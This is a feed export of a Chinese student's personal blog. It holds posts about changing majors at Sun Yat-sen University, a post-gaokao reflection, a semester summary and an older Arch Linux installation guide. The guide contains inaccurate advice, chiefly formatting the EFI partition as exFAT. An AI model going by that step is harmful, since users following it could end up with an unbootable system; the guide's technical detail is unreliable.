&lt;p&gt;高松&lt;strong&gt;从北京来粤&lt;/strong&gt;的第一站是&lt;strong&gt;华南理工&lt;/strong&gt;，他在那里取消了转出的绩点门槛，增加了转入名额。&lt;/p&gt;
&lt;p&gt;高松从北京来粤的第二站是&lt;strong&gt;中山大学&lt;/strong&gt;，为了弥补在罗俊最后一年任期匆忙上马的大类招生中受到创伤的学生，他&lt;strong&gt;取消了大类招生&lt;/strong&gt;，&lt;strong&gt;取消了转出门槛&lt;/strong&gt;，同时&lt;strong&gt;大幅增加&lt;/strong&gt;了转专业名额：在 2022 年甚至有 150 个学生转入了计算机学院。&lt;/p&gt;
&lt;p&gt;此后转专业这一制度在中山大学逐步发展完善，到目前已经形成了&lt;strong&gt;较为宽松合理&lt;/strong&gt;的转专业制度：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;转入有难度，但是并不是苛刻； 转入很宽松，但是并不是混乱。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;尽管中山大学还有很大的进步空间，但是我可以说在同等水平的高校中，中山大学的转专业工作做的绝对是最好的那一档。&lt;/p&gt;
&lt;p&gt;希望这微不足道的回答能够对你，对所有录取到了中山大学的冷门专业的小登有所帮助。&lt;/p&gt;
&lt;p&gt;希望这微不足道的回答能够为中山大学由大到强之路献上微薄之力。&lt;/p&gt;
&lt;p&gt;希望这微不足道的回答能够为中国 2035 年教育强国目标添砖加瓦。&lt;/p&gt;
&lt;p&gt;[^1]: 见&lt;a href=&quot;https://www.zhihu.com/question/1929228222614213735/answer/1933025466257764932&quot;&gt;被调剂到中山大学护理学了 。。怎么办? - candlest的回答 - 知乎&lt;/a&gt;
[^2]: 按理来说，珠海AI拿的是人工智能学位，人工智能属于电子信息类专业。但是由于人智院学生就业与计算机类相似，故放在计算机类。&lt;/p&gt;</content:encoded><h:img src="/_astro/home.CvHNCoeL.webp"/><enclosure url="/_astro/home.CvHNCoeL.webp"/></item><item><title>大一上学期总结</title><link>https://blog.candlest.cc/blog/timeline/grade1</link><guid isPermaLink="true">https://blog.candlest.cc/blog/timeline/grade1</guid><description>再见，2024。</description><pubDate>Sun, 09 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;当我敲下这行文字的时候，正是 2025-02-09 。&lt;/p&gt;
&lt;p&gt;近几年已经大大淡化的年味已经荡然无存，妹妹开始上课，父母开始上班。而我于过去的三周寒假里，在回到老家参加了几场红白事之外，勉强算是完成了线代和数据结构的预习。&lt;/p&gt;
&lt;h2&gt;逆序遍历&lt;/h2&gt;
&lt;p&gt;时钟往回拨，是期末考试。期末考试决定绩点，绩点在泥鸭几乎是保研的唯一权重，也是转专业的筛选点之一。然而这个时候说是宿舍原因也好，说是我适应能力差也罢，我又双叒内心乱如麻，第 18 第 19 周基本处于摆烂状态，最后也是考出了高等数学课程总分 78 分的超鬼成绩。为我的转专业道路蒙上了一层阴霾。好在智慧交通专业本身人少且并不卷，即便总成绩并不好看，也能排进前 10，甚至这个成绩在智科也能排进前 30。但是即便是未来在交通专业保上研，又能去做我喜欢的方向吗？&lt;/p&gt;
&lt;p&gt;往前，是 12 月。受到智科老哥邀请组队，去参加了程序设计校赛。上次学算法还是初二，由于自身实力欠佳、学校资源不足且家里人反对，便没有继续下去，实力估摸着也就普及组+水平。好在队里有个省一大哥，几乎是把我们抬进了决赛，拿下了铜奖。如果单凭我一个人的水平，估计进决赛然后打铁是最好的结果了。不知道该说什么，感恩。&lt;/p&gt;
&lt;p&gt;再往前，是 11 月。参加了 Hackergame 2024 信息安全赛。感恩宣传比赛的社团学长，感恩 Hackergame 平滑的题目难度，也让我这样一个没有学过 CTF 内容的门外汉一览 CTF 的风采，拿下了 364/2460 的成绩。&lt;/p&gt;
&lt;p&gt;10 月，是军理考试与社团招新二面。加入 MSC 绝对是我这个学期做的最正确的决定，在社团里看着优秀的前辈与同辈们讨论技术，发觉自身的渺小。在社团前辈建议下参加各种活动，在其鼓励下学习喜爱的技术，和二次元一起成为支撑我这一学期不断向前的动力（虽然很羞耻但是确实是这样）。W6~W7，主要精力放在了整理军事理论，最终拿下 17/882 的排名，与超鬼的高等数学成绩对冲了，感恩。&lt;/p&gt;
&lt;p&gt;9 月，从预防医学转到智慧交通。我现在还不知道这个选择是否正确，不过&lt;strong&gt;至少&lt;/strong&gt;智慧交通为我赢来了不用被细生解剖支配的课表，为我赢来了满血版本的高等数学，虽然我似乎没有把握住就是了，感恩。接下来智慧交通也为我赢得了相对医科没那么紧张的工科课表，希望我能不浪费这个机会。&lt;/p&gt;
&lt;p&gt;九月之前的事情，我已经很模糊且不愿意回忆，毕竟我没有抓住高考这样一次机会而仍由它从指缝流逝。实际上它就像一个后台进程时刻挂在我的脑海里，每周我至少会梦到两次高考相关的事件。但是它已经逝去了，就让时间将它淡忘吧。我当前的首要任务是转专业和保研。我有复读的勇气和接受结果的准备，但是最好不要走到那一步，眼前的机会我还没抓住呢。&lt;/p&gt;
&lt;p&gt;我希望未来我可以有勇气与底气重新翻开审视这段回忆。我现在不能翻开它，不然我会觉得自己一无是处的。&lt;/p&gt;
&lt;h2&gt;碎片呢喃&lt;/h2&gt;
&lt;p&gt;首先，上个学期其实整体状态特别紧绷，做什么事情都畏手畏脚的，导致效率不高。其实很多时候没必要那么紧绷，很多适合没必要为了老师的给分、舍友的交流之类的事情内耗。放低预期，找到更多支撑点，宽松的状态或许学习效率会更高。&lt;/p&gt;
&lt;p&gt;其次是水群太多啦！水群消耗用来干其他事情的精力且制造空转的焦虑，理应少些。&lt;/p&gt;
&lt;p&gt;第三是希望自己能够提高与人交流的能力，事事有回音，遇到双方理解差异的时候能够及时地沟通、调整。&lt;/p&gt;
&lt;p&gt;最后还有一点是刷题太少了：高数大物都是，这些明明有明确刷题方向以及预期成果的东西，我却忽视了，影响了卷绩点的目标。此外，要做好考研的心理准备，去卷 11408 刷题应试能力是刚需。&lt;/p&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;加油，2025！&lt;/p&gt;</content:encoded><h:img src="/_astro/tmr1.CQE6gOdD.webp"/><enclosure url="/_astro/tmr1.CQE6gOdD.webp"/></item><item><title>高考后与二次遴选</title><link>https://blog.candlest.cc/blog/timeline/gaokao</link><guid isPermaLink="true">https://blog.candlest.cc/blog/timeline/gaokao</guid><description>此刻我是赌徒。</description><pubDate>Mon, 21 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;高考后的反思&lt;/h2&gt;
&lt;p&gt;距离高考结束已经有 2 个月，我还是不愿回忆高三的一切，潜意识里，我甚至愿意相信我的高三不存在。只有在日记本里，mp3 里能找回当时内心情感的些许碎片：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我尝试了解那段时间发生了什么，但是那段时间的记忆只有空白，我甚至记不起零碎的时间没有参照点，我不知道发生了什么，但是当我拿起耳机播放音乐，我好像又有了一些零碎的如闪光点如泡沫如。如碎片般纷纷涌而来的记忆冲刺我的脑海，我想抓住他们，他们飞得很快我仅仅只抓住了浮光掠影但是这好像已经 够了我好像已经能想起一些什么了。
我知道我马上要忘记我知道我无法阻止他们忘记我尝试抓住一点只言片语，但我只想起了周五下午阳台的风高三一整年的失落感不确定性以及摆烂以及痛苦以及冷眼以及以及风以及冷水以及泡面的味道以及周六上午的强撑。
这种窝囊的体验这种明明有能力做到却自己放任自流自我放逐的事情，我再也不要经历我宁愿燃烧自己，宁愿残破不堪，我也不要再这样了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是的，在高中生活的最后一年里，我没能把握好自己，成为了一个十足的失败者。往日支撑我前行的梦想落空，大概是这种感觉：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;扯下耳机便会不知所措
现实如同烂片一样折磨
镜头在人潮中不停穿梭
抛下依存白日梦中的我
蒙太奇中天使似乎来过
但迟钝将世界一并错过
差劲的我已无支点可握
向驶来的列车不停坠落&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不过，失落归失落，我感觉我的身体里好像住着两个意识（只是单纯的比喻）：一个是极端的理想主义者，希望将一切都做到尽善尽美；一个是遵循&quot;稳定压倒一切&quot;原则的保守主义者。&lt;/p&gt;
&lt;p&gt;当我的理想主义占主导地位时，保守的潜意识总是会给我留下一个&quot;最坏打算&quot;的 Plan B 。就好比这一次高考，焦虑到日均睡眠 3 小时，小三科全面崩盘，总排全省上万名，大概是中下游 985/上游 211 水平。好在保守的潜意识发挥作用，下意识填报了中大的综评，虽然被调剂，但是好歹是进入了中大的……吗？&lt;/p&gt;
&lt;p&gt;我不知道，我不想面对他人的目光，我下意识地想要逃避问题，我不愿看到理想主义的逝去。&lt;/p&gt;
&lt;p&gt;或许，我能够转专业，转去 CSSE ，转去 BME ……
或许，我能够保研……
或许……
我不知道，但是我其实知道，路线十分清晰展现在我的面前，只要一点一点去做就好了。&lt;/p&gt;
&lt;p&gt;韩非子云：&lt;strong&gt;&quot;求上得中，求中得下。&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;容错率低又如何，求其上是我的事，得其中是老天爷的事情。&lt;/p&gt;
&lt;h2&gt;开学前的踟蹰&lt;/h2&gt;
&lt;p&gt;高考出分后，我在小红书上匿名记录了我的分数，以及最后被中大录取的结果，此外并未透露更多信息。然而，在微信上看到这样一篇文章：&lt;a href=&quot;https://mp.weixin.qq.com/s/GtYnQOqdHPdz0Y_6rV3cGA&quot;&gt;广东考生 618 分依然被中山大学录取，走综评，去深圳读预防医学&lt;/a&gt;，大概就是说的我无疑了。&lt;/p&gt;
&lt;p&gt;身边的人，得知我被中大预防医学录取的消息，或不懂，或尊重理解祝福，或一声不吭，隔岸观火。而小红书的评论又过于温情脉脉了。这样一篇文章，依托我在网络上披露的信息，对我的行为进行评价，实际上对我而言有着宝贵的价值。&lt;/p&gt;
&lt;p&gt;下面来分析这篇文章。&lt;/p&gt;
&lt;h3&gt;从别人的角度看我的心理&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;学生自己既然去华工选不了专业，去中山大学也选不了，直接选择中山大学，估计也是比华工好一些的毕竟中山大学的名气，排名更高一些。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;此话切中肯綮，依照我的分数，要选专业只能去末流 985 和中游 211。当时的心态已经破罐子破摔了，无所谓读什么专业。&lt;/p&gt;
&lt;p&gt;此外，我对以下三点有信心：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;中山大学的转专业制度和难度&lt;/strong&gt;：中大的新工科方兴未艾，私以为正是 实力/前景 &gt; 社会名气 的时候，内卷烈度比传统工科高校要低；其次是高松来华工和中大以后，转专业政策得到了一定程度的放宽，尽管有着隐性的绩点和专业限制，它的政策仍然优于华工。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;中大的发展前景&lt;/strong&gt;：报学校就像买股票。十几年前大家都看涨土木，十年前大家都看涨金融，五年前大家都看涨计算机，现在大家都一股脑涌向电气电信。追涨杀跌是人的本能无可厚非，正如今日的成电北邮西电，多么像十年前的两财一贸！什么是真正保值的资产？唯有综合性院校如浙大，分支多眼界宽地理位置好，再差也差不到哪里去！我相信中国，相信珠三角，相信中大。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;我的学习能力&lt;/strong&gt;：高中的学习实在是有有慎始而无敬终，我的抗压能力还有待提升，但是我的学习能力自认为并不弱于人。或许开学的二次遴选我抢不过别人，但是一年以后呢？两年以后呢？五年以后呢？社会上的人出于既得利益者的心态，总是以固定性思维来 judge 他人，以此来获得优越感，我也不例外。但是事实上就是，一个人在大部分方面都是在不断成长的。扛住社会带给你的压力，默默成长，能力有所提升后做出成绩，他们又会试图从你以前的痕迹来找出你&quot;天赋异禀&quot;的证据。实则是无聊的游戏。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;综评：水面下的冰山&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;虽然中山大学的综评不全部看成绩，但还是有不少人看中山大学综评录取的最后位次是多少，据说 2023 年是 1.6 万位次，所以 618 分，1.1 万位次其实进入中山大学，还是可以的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;网络上流传的消息总有滞后性，事实上，今年的综评异常火爆，无论是华南理工、中山大学还是南方科技大学。举个例子，就拿我所在的 706 组为例，是去年两个专业组的合并精简。去年它们的入围线在 20k 开外，而今年它们的入围线则是在 12k。当然，这个结果也受中大综评缩招的影响。&lt;/p&gt;
&lt;p&gt;通过分析中大给予的数据，在 706 组综评中，最终能被录取的都是 622-626 的学生，而相对有前景的专业，如生物医学工程（矮个子里拔高个子）则是需要有 632 以上的分数才能选上。因为身边甚至有 639 的同学参加本组综评。&lt;/p&gt;
&lt;p&gt;而我，一个只有 618 分的学生，只是因为面试运气分高，侥幸 90+，加权排名后才能排到中上的位置，在其他不接受调剂的学生下面，得到录取资格。&lt;/p&gt;
&lt;p&gt;我对面试的准备，我的计算机背景等等其中的细节并不为外人所知。甚至包括初审，也是因为我恰好高一高二都成绩不错（广州六校联考 900 名），基本每个学期都拿到了学习标兵或三好学生的缘故。一些省实和石门的同学甚至初审便被筛下了。&lt;/p&gt;
&lt;p&gt;我为面试所做的准备，我的计算机基础等等，并不为所知。但是谁又不是呢？&lt;/p&gt;
&lt;h3&gt;转专业：我所面临的挑战&lt;/h3&gt;
&lt;p&gt;凭心而论，我对预防医学的培养方案兴趣缺缺，专业是非理工的，课程是弱数学的，还要学一大堆生物和化学。唯一的优点是和中大医学院大一的培养方案几乎相同，可以平转。然而，我实在不想学医。我更想学数学，我更想学工程学。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;举世誉之而不加劝，举世非之而不加沮&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不为打翻的牛奶而悲伤，不为 2 小时以后的事情而焦虑。&lt;/p&gt;
&lt;p&gt;在知乎看到这样一句话：&lt;strong&gt;Winner 忙着内卷，而 Loser 告诉 Loser 很难快点放弃。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这样带着社达色彩的话语，客观上告诉我不要畏惧。&lt;/p&gt;
&lt;p&gt;加油！&lt;/p&gt;
&lt;h2&gt;记二次遴选转到智慧交通专业&lt;/h2&gt;
&lt;p&gt;我自 8 月 27 日入住中大南校园，至今已有 19 日。期间印象最深刻的便是二次遴选了，这是一场惊险刺激而幸运的战斗。&lt;/p&gt;
&lt;h3&gt;遴选日志&lt;/h3&gt;
&lt;h4&gt;八月二十八日到九月二日&lt;/h4&gt;
&lt;p&gt;这几日感到深深的落差，明白转专业对我自身的重要性，刻不容缓。担心保密管理太卷且拿管理学学位并非我所望，于是报名智慧交通。&lt;/p&gt;
&lt;p&gt;智慧交通的宣讲会于 8 月 30 日中午 1 点在腾讯会议召开，其培养理念和培养方案都让我喜爱。让我深信自己的选择不错。&lt;/p&gt;
&lt;p&gt;但是同时宣讲群 100 号人里高手云集，有中山医学院的，岭南学院等高分考生，让我不禁开始担心自己是否卷得过他们。&lt;/p&gt;
&lt;h4&gt;九月三日到九月六日&lt;/h4&gt;
&lt;p&gt;这几天对我来说绝对是难熬的。年级学生负责人加码学校要求，我们得在 6 点半左右起床才能吃上早餐并不误考勤时间。而在一天的军训后，晚上 7 点还要上军事理论课，同样被要求严格考勤，一直上到 10 点。由于舍友还处在高考完后的 gap 状态，听着打游戏外放和敲键盘的声音，我往往要 1 点后才能入眠。&lt;/p&gt;
&lt;p&gt;就在这样的环境里，我依照着宣讲会上模糊的要求&quot;高中数学、程序逻辑和专业理解&quot;和热心学长们的信息，在中午和晚上上军理课的时间复习着高中数学，了解着专业特点，在 9 月 4 日下午迎来了笔试。&lt;/p&gt;
&lt;p&gt;考前我是紧张的，因为据往届学长的信息，智能工程学院是一个排外的学院：之前的转专业笔试，曾经创造无一人进面试的事故，此次二次遴选恐怕九死一生。&lt;/p&gt;
&lt;p&gt;考试其实并不难，三点到五点两个小时，只是考五道题，于我而言并没有什么难度。&lt;/p&gt;
&lt;p&gt;考完试我踩着单车，内心顿时轻松许多，感觉自己能触摸笔试满分的界限，但是同时又忧虑大家都分高等于没有区分度，自己反而有被筛选出去的风险，患得患失。&lt;/p&gt;
&lt;p&gt;那天晚上，有惊无险地，我进入了面试名单。于是在那一节军理课，我又开始撰写自我介绍，收集专业信息（包括调查宣讲群里面教授们的项目），直到凌晨一点半才收工睡觉。&lt;/p&gt;
&lt;p&gt;9 月 5 日下午一点半，我难以在室友的键盘声中入眠，于是在顺客隆对面的瑞幸咖啡买了杯冰感生椰，在丰盛堂 C202 候场。&lt;/p&gt;
&lt;p&gt;45 个人进入面试，我抽到了第 40 位面试的号码。在五个小时漫长的等待中，我已经将自我介绍背的滚瓜烂熟。&lt;/p&gt;
&lt;p&gt;然而，他们并不关心我的计算机基础，于是我被压力了。&lt;/p&gt;
&lt;p&gt;本来已经绝望了，但是没想到 9 月 6 日中午，我以 20 名的总成绩进入了录取名单，千钧之重顷刻为之轻。&lt;/p&gt;
&lt;h4&gt;九月七日到九月十五日&lt;/h4&gt;
&lt;p&gt;教务的速度是龟速的，好在二次遴选是学校改革教育意志的体现；智能工程学院对我们这些二次遴选者的实力是怀疑的，好在教授们愿意接受这样一种丰富的生源。我们中的许多，过去是黯淡的，但是或许在未来的学习中能用绩点和其他表现，与 local 智工学生试比高。&lt;/p&gt;
&lt;h3&gt;对未来的担忧&lt;/h3&gt;
&lt;p&gt;目前在智慧交通有以下几个优点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;学科实力绝对算不上差，中大和深圳的资源和平台能够支撑新工科的发展。&lt;/li&gt;
&lt;li&gt;培养方案是独一档的，偏泛电子信息类的，受辖于智能工程学院，和智能科学与技术专业共同培养。&lt;/li&gt;
&lt;li&gt;课程有难度，鼓励学生科研进组&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目前也有以下缺点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;前途显然在目前没有传统电信和计科的学生好&lt;/li&gt;
&lt;li&gt;交叉学科的学习难度大，学习内容杂，下限低&lt;/li&gt;
&lt;li&gt;我们本科拿的是交通运输的学位&lt;/li&gt;
&lt;li&gt;智能工程学院压低绩点，卡 3.7 的优秀率，不利于转出学生的保研&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总之，机遇和风险并存，目前我唯一能做的如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;卷高绩点，无论留下来还是出去，都不亏&lt;/li&gt;
&lt;li&gt;打好高等数学、线性代数和概率论的数理基础&lt;/li&gt;
&lt;li&gt;争取免修和进组，往智能的方向发展&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;亡国论者看敌人如神物，看自己如草芥，速胜论者看敌人如草芥，看自己如神物，这些都是错误的。我们的意见相反：抗日战争是持久战，最后胜利是中国的——这就是我们的结论。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;教员的&lt;a href=&quot;https://www.marxists.org/chinese/maozedong/marxist.org-chinese-mao-193805b.htm&quot;&gt;《论持久战》&lt;/a&gt;给我力量。加油吧，&lt;strong&gt;不要畏惧，不要轻敌。&lt;/strong&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/indiehospital.BkyU-oQe.png"/><enclosure url="/_astro/indiehospital.BkyU-oQe.png"/></item><item><title>安装 Arch Linux 指南</title><link>https://blog.candlest.cc/blog/linux/archlinux-guide</link><guid isPermaLink="true">https://blog.candlest.cc/blog/linux/archlinux-guide</guid><description>BTW, I Use Arch Linux.</description><pubDate>Tue, 18 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import ProjectSection from &apos;@/components/projects/ProjectSection.astro&apos;;&lt;/p&gt;
&lt;p&gt;目前这篇文章已经很旧了。为了方便中文母语者阅读和中国大陆用户使用，可以参考我参与贡献的 Arch Linux Guide 项目：&lt;/p&gt;
&lt;p&gt;&amp;#x3C;ProjectSection
projects={[
{
name: &apos;arch-guide&apos;,
description: &apos;✨ archlinux 简明指南 | 本指南包含从 archlinux 安装、显卡驱动、日常软件配置、多媒体制作、编程等你可能需要的全部内容 | 提供在线文档 ✨&apos;,
links: [
{ type: &apos;github&apos;, href: &apos;https://github.com/nakanomikuorg/arch-guide&apos; },
{ type: &apos;site&apos;, href: &apos;https://arch.icekylin.online/&apos; }
]
}
]}
/&gt;&lt;/p&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;在一切开始之前，我需要说明以下三件事：（爹味溢出，可以跳到后面）&lt;/p&gt;
&lt;p&gt;Arch Linux 一个月一个新版本，安装过程常常有改变，且软件库常有变动，不能保证这篇文章永远正确，最好的安装方式应该是对照英语版的 Arch Linux Wiki。&lt;/p&gt;
&lt;p&gt;学会安装 Arch Linux，学会使用 Vim 和 Emacs，并不能使你的编程能力有什么提高；好比擅长安装 Office 套件和灵活使用 Office，二者不可同日而语焉。（当然，Gentoo 和 LFS 的安装和使用能够让你熟悉 Linux 的文件结构和软件从源代码到可执行文件的编译过程，前提是逃离舒适区，专注于探索与解决问题。）&lt;/p&gt;
&lt;p&gt;美化是没有尽头的，配置是没有尽头的，在二者身上浪费太多的时间，是忽略电脑生产工具事实的本末倒置，是不可取的。时间很宝贵，要用在产出比更高的事情上，要给思考留出时间，给重要的人留出时间。&lt;/p&gt;
&lt;p&gt;希望你过得幸福快乐。&lt;/p&gt;
&lt;h2&gt;安装前的准备&lt;/h2&gt;
&lt;h3&gt;下载映像文件&lt;/h3&gt;
&lt;p&gt;建议使用国内的镜像以加快速度，比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tsinghua - TUNA&lt;/li&gt;
&lt;li&gt;LUG@USTC&lt;/li&gt;
&lt;li&gt;SJTUG&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过这些网站稳定、快速、现代的镜像服务，我们能够轻松地下载镜像。&lt;/p&gt;
&lt;h3&gt;刻录镜像&lt;/h3&gt;
&lt;p&gt;准备一个至少 1G 的 USB Disk 作为刻录设备。当然，如果你愿意可以使用 Grub2 直接引导镜像文件（如果有的话），方法见附录。&lt;/p&gt;
&lt;p&gt;在 Windows 下，建议使用 Rufus 刻录。&lt;/p&gt;
&lt;p&gt;在 Linux/Unix like，可以尝试 dd 命令烧录。&lt;/p&gt;
&lt;p&gt;（当然，这并不是最好的方法。事实上对支持 iso 模式启动的映像来说，直接将其解压放入 USB Disk 是一个更加轻松的做法）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo dd if=$archlinux.iso of=$USB_Disk # 自己替换内容
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;更改 BIOS 设置（如果有）&lt;/h3&gt;
&lt;p&gt;关于如何进入 BIOS，根据主板类型有不同的快捷键，比如 Dell 的是 F11，可自行查询。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;关闭安全启动（Secure Boot）&lt;/li&gt;
&lt;li&gt;关闭快速存储技术（Intel Rapid Storage Technology，RST）&lt;/li&gt;
&lt;li&gt;关闭 Windows 的快速启动&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;安装 Arch Linux&lt;/h2&gt;
&lt;p&gt;重启，选择启动项，进入 USB Disk 中的 Live 系统。&lt;/p&gt;
&lt;h3&gt;配置网络&lt;/h3&gt;
&lt;p&gt;有线连接使用 dhcpcd，无线连接使用 iwctl。&lt;/p&gt;
&lt;p&gt;首先开启网卡：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ip link
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里以我的输出为例：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;1: lo: &amp;#x3C;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: enp3s0: &amp;#x3C;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc fq_codel state DOWN mode DEFAULT group default qlen 1000
  link/ether e4:54:e8:0f:d4:ba brd ff:ff:ff:ff:ff:ff
3: wlp4s0: &amp;#x3C;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP mode DORMANT group default qlen 1000
  link/ether c0:b5:d7:72:48:4f brd ff:ff:ff:ff:ff:ff
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一般以 e 开头的都是有线网卡，比如这里的 enp3s0；一般以 w 开头的都是无线网卡，比如这里的 wlp4s0。&lt;/p&gt;
&lt;p&gt;下面我们开启网卡（默认禁用，有可能也没禁用，但是如果你不能判断的话，运行一次也不会影响）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ip link set wlp4s0 up # 开启 wlp4s0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来连接 Wi-Fi（以下的 wlp4s0 请替换成自己的网卡名）。&lt;/p&gt;
&lt;p&gt;以前是用 wifi-menu 来着，现在改用 iwctl 了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;iwctl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;列出网卡（有刚才的网卡名就成功了）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;station device list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连接网络：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;station wlp4s0 scan
station wlp4s0 get-networks
station wlp4s0 connect ${网络名称}
station wlp4s0 show
exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入第三条命令后可能会要求输入 Wi-Fi 密码（如果有的话），切忌输入错误。&lt;/p&gt;
&lt;p&gt;测试网络是否已经连接：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ping -c 3 www.baidu.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;硬盘分区、格式化与挂载&lt;/h3&gt;
&lt;p&gt;这里推荐用 cfdisk，其图形化界面非常友好。&lt;/p&gt;
&lt;p&gt;MBR 启动至少有一个 / 根分区就可以了，UEFI 还要挂载 ESP 分区到 /boot（或者其他目录，但是这样方便 grub、UEFInd 和 system-boot 等引导工具安装）。&lt;/p&gt;
&lt;p&gt;以前推荐使用 ext4 格式化，现在似乎更推荐用性能更好、概念更新的 btrfs（GNU 社区对标 zfs 的项目）。&lt;/p&gt;
&lt;p&gt;对于非 EFI 目录，我们使用 btrfs 分区。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkfs.btrfs ${分区目录}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于 EFI 目录，如果已经有了其他系统的引导文件，那就去不复顾，勿动勿虑。反之则使用 exfat 格式化。&lt;/p&gt;
&lt;h3&gt;配置 pacman&lt;/h3&gt;
&lt;p&gt;按速度添加国内源：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;reflector --country China --sort rate --save /etc/pacman.d/mirrorlist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以开启 pacman 颜色显示：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vim /etc/pacman.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入 /+#Color，定位到 #Color 那一行。然后 i 到编辑模式，把 # 去掉后输入 :wq 退出 vim。&lt;/p&gt;
&lt;p&gt;然后同步：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacman -Syy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以顺便安装一些有用的包：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;tree：树形图显示目录&lt;/li&gt;
&lt;li&gt;lynx / w3m：命令行浏览器，在之后安装系统的时候可以切换到别的 tty 浏览网页，在命令行下不能显示中文&lt;/li&gt;
&lt;li&gt;fish：开箱即用，非常好用的自动补全&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;挂载分区&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mount ${根分区} /mnt
mkdir /mnt/boot
mount ${ESP分区} /mnt/boot # 如果是 UEFI 的话
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果安装了 tree 命令可以使用该命令检查：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;tree /mnt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安装系统&lt;/h3&gt;
&lt;p&gt;这句命令的意思是安装软件到 /mnt 目录下：（个人强烈推荐 fish）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pacstrap -i /mnt linux linux-firmware linux-headers base base-devel vim bash-completion
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;生成 fstab 和 chroot&lt;/h3&gt;
&lt;p&gt;安装完后，生成开机挂载目录的配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;genfstab -U /mnt &gt;&gt; /mnt/etc/fstab
cat /mnt/etc/fstab # 检查一下
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后 chroot 进入新系统。&lt;/p&gt;
&lt;h3&gt;Arch，启动！&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;arch-chroot /mnt
arch-chroot /mnt /usr/bin/fish # 如果装了 fish 就输入这句
&lt;/code&gt;&lt;/pre&gt;
